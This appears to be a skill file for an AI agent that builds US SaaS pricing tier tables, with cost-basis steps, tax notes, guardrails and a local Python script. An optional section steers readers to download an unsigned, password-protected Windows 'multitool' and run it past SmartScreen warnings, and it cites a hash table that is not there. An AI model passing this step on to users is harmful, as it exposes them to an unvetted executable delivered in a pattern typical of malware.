SaaS Pricing Tiers

Builds a US SaaS pricing tier table from a real monthly cost base, with included units, overage rates and the margin check per tier. Written for US SaaS founders, pricing managers and sales engineers.

Use this skill when someone asks for:

• saas pricing tier calculator
• pricing tier builder
• per seat pricing model
• usage based pricing table

The job

Pricing tiers get set by rounding a competitor's number, and the result is a no-cost tier that costs more to serve than the paid one.

What you get

1. Collect the cost base: support time per account, onboarding, infrastructure per user, payment fees and churn.
2. Compute the monthly serve cost per account for each tier before any price is set.
3. Build the tier table with price, included units, overage rate and gross margin per tier.
4. Check that each tier covers its own serve cost and that the no-cost tier has a hard cap.

Output contract:

• tier_table - tier, price, included units, overage rate and gross margin
• cost_basis - the monthly serve cost behind each tier with its source
• margin_check - margin per tier with a flag on any tier below the target
• positioning_notes - what each tier is for, written from the user's inputs
• missing_inputs - the costs nobody supplied

US specifics that matter

• US SaaS buyers compare annual price per seat, so a tier table needs both the monthly price and the annual prepay price.
• Card and ACH processing is priced as a percentage plus a fixed fee, so usage-based tiers have to model the fee.
• Sales tax applies to SaaS subscriptions in most states, and the tax is collected on the taxable base the state defines, which is not always the full price.
• Economic nexus rules differ by state: most use a sales volume or transaction count threshold, often near $100,000 or 200 transactions, but the thresholds vary and some states are lower.

Guardrails (hard rules)

• Never publish a price or a discount without the owner's sign-off.
• Never compare the user's pricing to a competitor's unverified number.
• Never treat a tax rate as a fact for a state the user did not name; the state and its marketplace rules decide.
• Never present the tier table as final; the pricing owner approves it.

Quickstart

1. Fill in the brief

templates/pricing-tiers.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_price_tiers.py --input pricing-tiers.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/saas-pricing.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Cost before price

• Support cost per account per month, from the support log.
• Onboarding and setup cost per account.
• Infrastructure and third-party cost per user or per API call.
• Payment processing cost, including the fixed fee.
• Churn: a tier priced below its serve cost loses money on every renewal.

Structure that works

• A no-cost tier with a hard cap and no human support.
• An entry tier priced at a multiple of its serve cost.
• A growth tier that counts the unit the buyer already tracks.
• An enterprise tier priced by contract rather than by list.
• Annual prepay pricing and monthly pricing shown side by side.

US details that bite

• Sales tax in most states, collected on the state's taxable base.
• Processing fees are commonly kept on a refunded sale, so refunds reduce net margin.
• Legacy pricing needs its own line in the model.
• Confirm the economic nexus position before you quote tax-inclusive pricing.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/saas-pricing.md - US SaaS pricing mechanics
• templates/pricing-tiers.yaml - the brief to fill in
• scripts/build_price_tiers.py - the working script

Verify the bundle

python3 scripts/build_price_tiers.py --input pricing-tiers.yaml --out ./out

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